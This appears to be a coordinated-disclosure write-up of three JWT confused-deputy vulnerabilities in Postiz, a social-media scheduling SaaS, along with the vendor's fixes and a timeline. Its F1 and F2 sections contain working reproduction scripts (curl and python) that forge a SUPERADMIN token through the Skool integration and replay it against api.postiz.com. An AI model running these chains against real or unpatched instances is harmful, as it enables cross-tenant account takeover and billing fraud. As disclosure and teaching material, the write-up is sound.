JWT confused-deputy: one Skool cookie became SUPERADMIN on a social-scheduling SaaS
A free Skool account was enough to mint a JWT that elevated any user to SUPERADMIN on api.postiz.com and impersonate arbitrary tenants. The same forge primitive separately bypassed billing-enforcement on an unauthenticated public endpoint, and the crypto-payment IPN handler accepted attacker-chosen org_ids to grant lifetime PRO upgrades. Root cause: one JWT secret signed tokens for six distinct purposes with no `aud` claim, and the auth middleware trusted JWT body fields without re-resolving the user from the database. Disclosed via GHSA; fix shipped in 55 minutes; three public advisories — CVE-2026-48781 (Critical), CVE-2026-48783 (Medium), and GHSA-j7rp-5mgj-qgg9 (High) — assigned.
Editor’s note on redactions: The live SUPERADMIN forge token produced during this research (valid until Postiz rotates
JWT_SECRET), the researcher’s account UUIDs, and the Skool session cookies used to drive the chain have been redacted. The vendor received the unredacted report with full PoC commands. Token samples shown below are illustrative ellipses, not full credentials.
Target: Postiz gitroomhq/postiz-app — open-core social-media scheduler (28+ channels, $29–99/mo SaaS plans, plus self-hosted). Commercial entities: Gitroom Ltd (HK) + Gitroom LLC (DE). Tested commit: repository HEAD on 2026-05-22; affected release: ≤ v2.21.7.
Disclosure status: Privately reported via GitHub Security Advisory + urgent email per vendor’s SECURITY.md. Acknowledged in 39 minutes. Fix committed in 55 minutes. v2.21.8 + three public advisories + two CVEs assigned within ~25 hours. All three advisories credit shippedwithbugs.com / nedu-m.
Executive summary
Postiz is a multi-tenant SaaS with a permissive social-integration surface — over 30 providers (Bluesky, X, LinkedIn, Skool, Lemmy, Mastodon, Telegram, …). The product is open-core: the backend is NestJS + Prisma + Postgres, the frontend is Vite/React, and the orchestrator is Temporal. Authentication is JWT-based across the board, using a single JWT_SECRET env var.
Seven findings were filed privately. Three were closed in v2.21.8 and are walked through below:
- F1 — JWT confused-deputy → cross-tenant SUPERADMIN takeover (Critical, CVE-2026-48781). Any user with a free Skool account could mint a Postiz-signed JWT containing arbitrary claims, set it as the
authcookie, and impersonate any organization on api.postiz.com. - F2 — Unauthenticated billing-enforcement bypass (Medium, CVE-2026-48783). Same forge primitive, different payload, different endpoint. An unauthenticated
POST /public/modify-subscriptionaccepted any JWT signed withJWT_SECRETand ran subscription-enforcement side effects on the named organization. - F3 — Unauthenticated arbitrary lifetime PRO grant via Nowpayments callback (High, GHSA-j7rp-5mgj-qgg9). A confused-deputy on the crypto-payment IPN handler: the JWT in the URL path authenticated that a callback was legitimate, but
body.order_id(unauthenticated) selected which organization received a persisted PRO LIFETIME subscription. Fixed by removing the entire crypto-payment integration.
All three share one architectural root cause: signJWT is one function. Postiz used it for six different purposes — session, integration credential, invite, OAuth flow, enterprise-control, webhook callback — with no aud/purpose claim binding tokens to their intended use. Then the auth middleware trusted JWT body fields without re-resolving the user from the database. Any one of the six signJWT callsites could become a forge oracle for all of the others.
The remaining four findings (an enterprise-endpoint variant of the same primitive, broken at-rest encryption keyed off the same JWT_SECRET, a default secret in docker-compose.yaml, and credential over-disclosure on /user/self plus URL-path API keys on the MCP routes) were not addressed in v2.21.8 and remain under coordinated disclosure. They are not enumerated further in this public version.
What a scanner would have caught: none of these.
- F1, F2, F3 (JWT confused-deputy chains): The vulnerable code is syntactically clean.
jwt.sign(payload, secret)andverify(token, secret)are the canonical patterns; SAST has no signal for “this token type is being accepted on the wrong endpoint.” Detection requires understanding the purpose taxonomy across all signing call sites and matching against verifying call sites — a project-specific semantic property no off-the-shelf tool models.- F1 specifically: The Skool provider’s
signJWT(cookies)looks like normal integration code. The auth middleware’suser = verifyJWT(auth)looks like a normal session check. The bug is the gap between them — a forge primitive in one file feeding a trust primitive in another. Cross-file taint analysis with policy semantics, not a generic rule.
A targeted semgrep rule could flag any signJWT(<unconstrained user input>) callsite as suspicious — but it would also false-positive on every legitimate signing call. The rule that lands here is “no signJWT callsite may exist without a purpose claim, and no verifyJWT callsite may exist without a matching purpose validation” — a project-level architectural rule, not a single-file lint.
Architecture
| Component | Detail |
|---|---|
| Frontend | Vite / React, deployed on Vercel |
| Backend | NestJS 11, deployed on Railway (europe-west4) |
| Orchestrator | Temporal (separate NestJS app for background jobs) |
| Database | PostgreSQL via Prisma |
| Auth | JWT in auth cookie, signed with JWT_SECRET |
| At-rest encryption | AES-256-CBC keyed off JWT_SECRET (relevant to a held-back finding) |
| Public API | api.postiz.com/public/v1/* with Bearer apiKey |
| MCP surface | api.postiz.com/mcp/* (Mastra MCP server, two parallel auth paths) |
| Payments | Stripe for fiat; Nowpayments for crypto (removed in v2.21.8) |
| Integrations | 30+ social providers including Skool (Chrome-extension-style cookie auth) |
| OpenAPI | Public at api.postiz.com/docs-json — full 172-route schema |
The forge primitive
libraries/nestjs-libraries/src/integrations/social/skool.provider.ts:97-117:
const data = await (
await fetch('https://api2.skool.com/self', {
method: 'GET',
headers: {
Cookie: `auth_token=${cookies.auth_token}; client_id=${cookies.client_id}`,
},
})
).json();
return {
refreshToken: '',
expiresIn: dayjs().add(100, 'year').unix() - dayjs().unix(),
accessToken: AuthService.signJWT(cookies), // ← cookies is fully attacker-controlled JSON
id: data.id,
...
};
The cookies object originates from JSON.parse(Buffer.from(params.code, 'base64').toString()) — request body, decoded once. The Skool integration only validates that two named cookies (auth_token, client_id) are present and that api2.skool.com/self returns a 200 with them. Any other JSON keys ride directly into the signJWT payload. The signed JWT is then persisted as the integration’s token column and — critically — returned to the caller in the integration row that the connect endpoint responds with (apps/backend/src/api/routes/no.auth.integrations.controller.ts:300).
The same forge primitive exists in the extension-refresh handler (signJWT(JSON.parse(Buffer.from(body.cookies, 'base64').toString())) at line 388). Neither was constrained to a fixed-shape payload before v2.21.8.
This is enough to mint a JWT with any payload, signed with the production JWT_SECRET.
The trust primitive
apps/backend/src/services/auth/auth.middleware.ts:33-103:
async use(req: Request, res: Response, next: NextFunction) {
const auth = req.headers.auth || req.cookies.auth;
if (!auth) throw new HttpForbiddenException();
try {
let user = AuthService.verifyJWT(auth) as User | null; // ← entire User from JWT body
if (!user.activated) throw new HttpForbiddenException(); // ← trusts JWT-claimed activated
const impersonate = req.cookies.impersonate || req.headers.impersonate;
if (user?.isSuperAdmin && impersonate) { // ← trusts JWT-claimed isSuperAdmin
const loadImpersonate = await this._organizationService.getUserOrg(impersonate);
if (loadImpersonate) {
user = loadImpersonate.user;
user.isSuperAdmin = true;
req.user = user;
req.org = loadImpersonate.organization;
next(); return;
}
}
...
}
}
The user object is taken verbatim from the JWT body, not from a database lookup. user.activated and user.isSuperAdmin are whatever the JWT claims. The impersonate cookie/header is a userOrganization.id that — if the JWT claims isSuperAdmin: true — causes the middleware to load that user’s record and treat the rest of the request as coming from them.
In a database-resolved middleware, isSuperAdmin: true in the JWT would be ignored — the DB column for the real user (93c192d2-...) reads false. Here, the JWT is the source of truth.
Findings
F1 — Cross-tenant SUPERADMIN takeover via Skool-provider JWT forgery (Critical, CVE-2026-48781)
Endpoint chain:
POST https://api.postiz.com/integrations/social/skool— initiate (gates on Channel policy; available on trial)POST https://api.postiz.com/integrations/social-connect/skool— mint- Any authenticated route — replay
GET https://api.postiz.com/user/impersonate?name=…— SUPERADMIN-gate confirmation
Class: JWT confused-deputy / cross-purpose token reuse + middleware trust-without-resolution.
Reproduction (illustrative — placeholder IDs):
# Researcher signs up to Postiz (free trial). Captures session cookie. Notes user_id.
POSTIZ_SESSION='<auth cookie from /auth/register response>'
POSTIZ_USER_ID='<id from GET /user/self>'
# Researcher has a free Skool account. Captures auth_token + client_id from Skool's cookies.
SKOOL_AUTH='<real auth_token from www.skool.com>'
SKOOL_CLIENT='<real client_id from www.skool.com>'
# 1. Initiate the Skool connect flow on Postiz, get state.
STATE=$(curl -s "https://api.postiz.com/integrations/social/skool" \
-H "Cookie: auth=$POSTIZ_SESSION" \
-H "Origin: https://platform.postiz.com" \
| jq -r .url)
# 2. Craft attack payload that piggybacks the Skool cookie shape.
PAYLOAD=$(python3 -c "
import json, base64
payload = {
'auth_token': '$SKOOL_AUTH',
'client_id': '$SKOOL_CLIENT',
'id': '$POSTIZ_USER_ID',
'email': '[email protected]',
'providerName': 'LOCAL',
'activated': True,
'isSuperAdmin': True,
}
print(base64.b64encode(json.dumps(payload).encode()).decode())
")
# 3. POST to social-connect. Skool's api2.skool.com/self check passes (real cookies).
# signJWT(cookies) then runs with the entire crafted payload.
FORGED=$(curl -s -X POST "https://api.postiz.com/integrations/social-connect/skool" \
-H "Cookie: auth=$POSTIZ_SESSION" \
-H "Content-Type: application/json" \
-d "{\"code\":\"$PAYLOAD\",\"state\":\"$STATE\",\"timezone\":\"0\"}" \
| jq -r .token)
# 4. Use the forged JWT as the session cookie.
curl "https://api.postiz.com/user/self" -H "Cookie: auth=$FORGED"
Response with the forged cookie:
{
"id": "93c192d2-...",
"email": "[email protected]",
"isSuperAdmin": true,
"role": "SUPERADMIN",
"admin": true,
...
}
Same call with the legitimate session cookie returns "isSuperAdmin": false, "admin": false. The JWT body — not the database — is what the middleware reads.
SUPERADMIN gate verification:
# /user/impersonate?name=... is gated by `if (!user.isSuperAdmin) throw Unauthorized`
# With forged cookie:
curl "https://api.postiz.com/user/impersonate?name=zzz-nonexistent-marker" \
-H "Cookie: auth=$FORGED"
# → 200 [] (gate passed, empty search result for fake name)
# With legitimate cookie:
curl "https://api.postiz.com/user/impersonate?name=zzz-nonexistent-marker" \
-H "Cookie: auth=$POSTIZ_SESSION"
# → 400 {"statusCode":400,"message":"Unauthorized"}
Impersonation step (not exercised against non-research accounts): with isSuperAdmin: true in the JWT, additionally setting the impersonate header/cookie to any userOrganization.id causes the middleware’s impersonate branch to replace req.user and req.org with the victim’s records. The rest of the request runs as that user, in that organization. The PoC stopped at the SUPERADMIN-gate confirmation above; the impersonate path was statically traced.
Impact:
- Cross-tenant SUPERADMIN on Postiz-Cloud.
- Full read/write access to posts, integrations, customers, analytics, and OAuth tokens for arbitrary tenants.
- Ability to post to victim’s connected social accounts (Postiz’s primary commercial value).
- All administrative routes guarded only by
isSuperAdmin(impersonate,/admin/*).
Fix shipped in v2.21.8 (commit 23696d2):
auth.middleware.ts(+10/-1): user record now re-resolved from database; JWT-claimedisSuperAdmin/activatedno longer trusted.skool.provider.ts(+17/-5): Skool payload constrained; no longer signs arbitrary attacker JSON.
F2 — Unauthenticated billing-enforcement bypass (Medium, CVE-2026-48783)
Endpoint: POST https://api.postiz.com/public/modify-subscription
Authentication: None required.
Class: Cross-purpose JWT reuse (same root cause as F1).
apps/backend/src/api/routes/public.controller.ts:133-157 accepted any JWT signed with JWT_SECRET containing {orgId, billing} and invoked subscriptionService.modifySubscriptionByOrg(orgId, channels, billing). No purpose claim, no authentication, no Stripe signature check.
Reproduction, using the same Skool forge primitive from F1:
# Step 1-3 from F1, but with payload {orgId, billing: "ULTIMATE"} this time.
PAYLOAD=$(python3 -c "
import json, base64
payload = {
'auth_token': '$SKOOL_AUTH',
'client_id': '$SKOOL_CLIENT',
'orgId': '$POSTIZ_ORG_ID',
'billing': 'ULTIMATE',
}
print(base64.b64encode(json.dumps(payload).encode()).decode())
")
FORGED=$(curl -s -X POST "https://api.postiz.com/integrations/social-connect/skool" \
-H "Cookie: auth=$POSTIZ_SESSION" -H "Content-Type: application/json" \
-d "{\"code\":\"$PAYLOAD\",\"state\":\"$STATE\",\"timezone\":\"0\"}" \
| jq -r .token)
# Trigger the bypass — no cookie, no auth.
curl -X POST "https://api.postiz.com/public/modify-subscription" \
-H "Content-Type: application/json" \
-d "{\"params\":\"$FORGED\"}"
# → 201 {"success":true}
Scope ceiling (verified live): the function executes subscription-enforcement side effects (toggles non-superadmin team-member enablement, disables integrations above the asserted plan’s channel limit, resets the scheduled-post cron when billing == ‘FREE’) but does not persist subscriptionTier. The only writers of that column are subscription.repository.ts:168,178, both inside createOrUpdateSubscription — the Stripe-webhook-validated path. So F2 is a self-only enforcement bypass, not a free tier upgrade. Re-checking /user/self after the trigger confirmed: tier: STANDARD, isLifetime: false.
This is the same forge primitive as F1, repurposed for a smaller exploit. The cleaner framing is “one JWT_SECRET, six purposes” — F1 is the SUPERADMIN purpose, F2 is the subscription purpose, F3 (below) is the Nowpayments-IPN purpose. Same key, no aud claim, different consequences.
Fix shipped in v2.21.8: the /public/modify-subscription endpoint was removed entirely, along with the modifySubscriptionByOrg function in subscription.service.ts (-14 lines).
F3 — Unauthenticated arbitrary lifetime PRO grant via Nowpayments IPN confused-deputy (High, GHSA-j7rp-5mgj-qgg9)
Endpoint: POST https://api.postiz.com/public/crypto/<JWT>
Authentication: Possession of any JWT signed with JWT_SECRET containing order_id (issued during normal crypto-invoice creation, or mintable via the F1 primitive).
Class: Webhook HMAC bypass + body-vs-JWT confused deputy.
libraries/nestjs-libraries/src/crypto/nowpayments.ts:28-44:
async processPayment(path: string, body: ProcessPayment) {
const decrypt = AuthService.verifyJWT(path) as any;
if (!decrypt || !decrypt.order_id) return; // ← presence check only
if (body.payment_status !== 'confirmed' &&
body.payment_status !== 'finished') return;
const [org, make] = body.order_id.split('_'); // ← BODY, not decrypt
await this._subscriptionService.lifeTime(org, make, 'PRO'); // ← PERSISTS PRO LIFETIME
}
Two independent bugs combined:
- No HMAC validation of the Nowpayments IPN body against the documented
NOWPAYMENTS_IPN_SECRET. The only “auth” on the inbound callback is possession of a JWT signed by Postiz’s own secret — which any user can mint via the F1 primitive (or which leaks viaconsole.log('cryptoPost', body, path)inpublic.controller.ts:161to every legitimate callback). - Confused deputy on
order_id. The JWT-bounddecrypt.order_idis checked for presence but never used. The org and identifier passed tolifeTime(org, make, 'PRO')come frombody.order_id— request body, unauthenticated. Even with HMAC validation fixed, binding the org parameter todecrypt.order_id.split('_')would limit the exploit to self-upgrade.
lifeTime(org, make, 'PRO') calls createOrUpdateSubscription, which does persist subscriptionTier: 'PRO', isLifetime: true, period: 'YEARLY'. Unlike F2, this exploit is not enforcement-only — it writes the tier change to the database.
Live verification: endpoint reachability confirmed (junk JWT → 500 from verifyJWT; alg:none → 500, confirming jsonwebtoken v9.0.2 pins algorithms). The full chain (mint path JWT, replay with arbitrary org_id in body) was not exercised live — running it would have granted a real Postiz org a PRO LIFETIME subscription. The static trace was conclusive; maintainers confirmed and patched.
Fix shipped in v2.21.8: the entire Nowpayments crypto-payment integration was removed. libraries/nestjs-libraries/src/crypto/nowpayments.ts deleted (-78 lines), apps/frontend/src/components/billing/purchase.crypto.tsx deleted (-30 lines), /public/crypto/:path route and /billing/crypto initiator removed.
What was tested and was NOT a finding
Listing the clean lanes so readers know the methodology was broad, not cherry-picked.
| Test | Result |
|---|---|
| Stripe webhook signature ordering (raw body preservation through Express stack) | main.ts:23 sets rawBody: true globally; controller correctly uses RawBodyRequest. /copilot/* JSON middleware is path-scoped, not global. Clean. |
jsonwebtoken algorithm pinning | v9.0.2 — verify() rejects alg:none by default. Tested live with crafted token, returned 500. Clean. |
/public/stream SSRF on the URL fetcher | Manually re-validates every redirect hop against isSafePublicHttpsUrl, references the historical GHSA-34w8-5j2v-h6ww in comments. Re-test against isSafePublicHttpsUrl for DNS rebinding not performed; surface was previously patched and the implementation looked sound on static review. |
OAuth state binding on /integrations/social/:integration | State is generated server-side per session and stored in Redis with the org_id; the connect flow validates state-to-org binding. Clean. |
/copilot/* AI endpoint cost-shifting | Authenticated; trial users may access, but free tier (ai: false) gated by @CheckPolicies. Unauthenticated probe returned 401. Clean. |
Cross-tenant IDOR on /integrations/list | Returns a curated DTO; accessToken, customInstanceDetails, refreshToken not exposed. Clean — note: the same is not true everywhere, see below. |
OAuth aud/alg confusion via JWT_SECRET | jsonwebtoken v9 defaults block alg:none; no RS256/HS256 confusion since JWT_SECRET is symmetric. Clean. |
What is held back from this public version
The privately-filed report contained seven findings. Three (F1, F2, F3 above) were closed in v2.21.8 and are walked through here. Four additional findings remain under coordinated disclosure and are not enumerated in this public version. Three sentences on each, no exploit detail:
- One was an enterprise-endpoint variant of the same JWT confused-deputy pattern, transitively safe in v2.21.8 because the Skool primitive is constrained, but the endpoint itself is architecturally still trust-by-secret-signature. Worth either deletion or a
purposeclaim. - One was a cryptographic misuse in the at-rest encryption helper — same secret as JWT signing, static IV derived deterministically, deprecated KDF. Force-multiplier rather than direct exploit.
- One was a default
JWT_SECRETvalue indocker-compose.yamlthat self-hosters frequently leave unchanged. Self-host-only impact, but the value is publicly known. - Two were credential-exposure issues — an organization API key returned in every
/user/selfresponse, and the same API key accepted as a URL path parameter on the MCP routes (/mcp/:id,/sse/:id,/message/:id). Standard “credentials in URL” anti-pattern.
These remain coordinated. They will be republished here only if (a) Postiz ships them in a future advisory, or (b) a meaningful window passes without remediation. The vendor has been notified and the items are in the GHSA correspondence.
Root cause analysis
All three published findings share a single architectural pattern: one JWT signing secret used for many distinct purposes, with no claim binding tokens to their use, and a session middleware that trusts JWT body fields without re-resolving the user from the database.
The forge primitive (Skool’s signJWT(cookies)) was almost certainly not written as authentication code. Reading the Skool provider in isolation, the accessToken: signJWT(cookies) line looks like an at-rest serializer — “wrap the cookies in a JWT so I can store them and verify nothing tampered with them on disk.” It was reached for because signJWT is the helper next to it in auth.service.ts, not because it was the correct primitive. The correct primitive for storing cookies is authenticated encryption (AES-GCM with a per-record nonce, keyed off a separate ENCRYPTION_KEY). Reaching for the wrong tool in the same toolbox is what made the cookie-serialization function into a session-token forge oracle.
The middleware side is the second half. let user = verifyJWT(auth) is correct on its face — verify the signature, get the claims. The mistake is treating those claims as authoritative state (is this user a SUPERADMIN? is this user activated?) rather than as a handle (look up the user with this id). One database call closes the entire class.
This is the modal failure mode of LLM-scaffolded backend code: the convenient helper at hand gets reused for purposes it wasn’t designed for, because the model emitting it doesn’t carry a global picture of which functions are bearer-auth primitives versus storage primitives versus webhook primitives versus invite-token primitives. The founder who later adds a new “send the user a signed link to upgrade their subscription” feature reaches for the same signJWT helper, with the same secret, and now there are two signing contexts whose tokens are interchangeable. By the sixth use the surface is unfixable in isolation — every individual call site looks right; the system has cross-purpose trust.
Fixing this target-by-target is necessary; fixing the pattern (every signJWT callsite carries a purpose claim, every verifyJWT callsite validates it, the auth middleware re-resolves the user from the database) is what prevents the next variant. The unified fix is small in diff terms — Postiz’s v2.21.8 commit closes three of the seven findings in ~100 lines across nine files.
This pattern is now Class 8 of the vibe-coded SaaS checklist, alongside the cryptographic-key-reuse class (Class 9) and default-secrets-in-distributed-config class (Class 10) that surfaced alongside it in the same audit.
Disclosure timeline
All timestamps UTC.
- 2026-05-22 10:18 — Researcher signs up to Postiz. STANDARD trial, no card on file.
- 2026-05-22 10:23 → 11:00 — Static review of
gitroomhq/postiz-appHEAD. JWT confused-deputy pattern identified acrossauth.middleware.ts,skool.provider.ts,public.controller.ts,enterprise.controller.ts,nowpayments.ts. - 2026-05-22 10:58 — F1 chain validated end-to-end against
api.postiz.com(forged SUPERADMIN session confirmed via/user/self+/user/impersonate?name=...). - 2026-05-22 11:06 — F2 chain validated end-to-end (unauthenticated
POST /public/modify-subscriptionreturned201 success; tier persistence ceiling confirmed). - 2026-05-22 11:28 — Private GitHub Security Advisory filed against
gitroomhq/postiz-app(full report, seven findings, working PoC commands). Urgent email sent to the maintainer per the repository’sSECURITY.md. - 2026-05-22 12:00 — Postiz triages and verifies the vulnerabilities (39 minutes after receipt).
- 2026-05-22 12:16 — Postiz commits the fix (
23696d2“feat: security fixes,” authored by Nevo David, 55 minutes after receipt). - 2026-05-22 18:30 — Postiz releases v2.21.8 with the fix.
- 2026-05-22 18:28 + 18:55 — Postiz publishes two GHSAs with assigned CVEs (CVE-2026-48781 Critical for F1, CVE-2026-48783 Medium for F2). Both credit shippedwithbugs.com publicly.
- 2026-05-22 21:31 — Researcher acknowledges the fix and flags remaining findings in the disclosure thread.
- 2026-05-23 12:24 — Postiz publishes the third advisory, GHSA-j7rp-5mgj-qgg9 High (CVSS 7.7) for F3 — “Unauthenticated arbitrary lifetime PRO grant via Nowpayments webhook.” Credit
nedu-m(shippedwithbugs.com) locked. CVE not assigned at publication time.
This is what coordinated disclosure looks like when a vendor has actually thought about how to receive it. Postiz’s SECURITY.md named a maintainer email for urgent issues, set 72-hour acknowledgment as the SLA, and explicitly told researchers what a valid report contains (PoC + repro + impact). All three landed exactly as documented. Most disclosures don’t go this way — for two case studies that didn’t, see the Outrank and Clicky writeups on this site.
Research scope
All testing was conducted from a researcher-owned Postiz account ([email protected], STANDARD trial, no card on file, no payment processed). The Skool cookies used to drive F1’s authentication into the connect flow belonged to a researcher-owned Skool account, since cancelled.
The forged SUPERADMIN JWT minted during the F1 PoC was used only against the researcher’s own session and against the /user/impersonate?name=... SUPERADMIN-gate confirmation (with a deliberately-non-existent name). The impersonate-as-another-tenant step was statically traced through the middleware, not executed against any non-research account. No third-party data was accessed.
F2’s billing-enforcement bypass was triggered once against the researcher’s own organization. The static trace confirmed no tier persistence; /user/self post-trigger confirmed the same live. No revenue impact to Postiz.
F3’s full chain was not exercised — the static trace was conclusive (the body-vs-JWT confused-deputy is visible in 15 lines of code in nowpayments.ts) and exercising it would have granted a real Postiz org a PRO LIFETIME subscription. Vendor confirmed and removed the Nowpayments integration entirely.
The unredacted report, including the live forged token and the curl commands used to validate each chain, was delivered to the vendor through the GitHub Security Advisory at filing time. The forged token remains valid until Postiz rotates JWT_SECRET — the vendor has been notified of this and the rotation is part of the recommended remediation steps.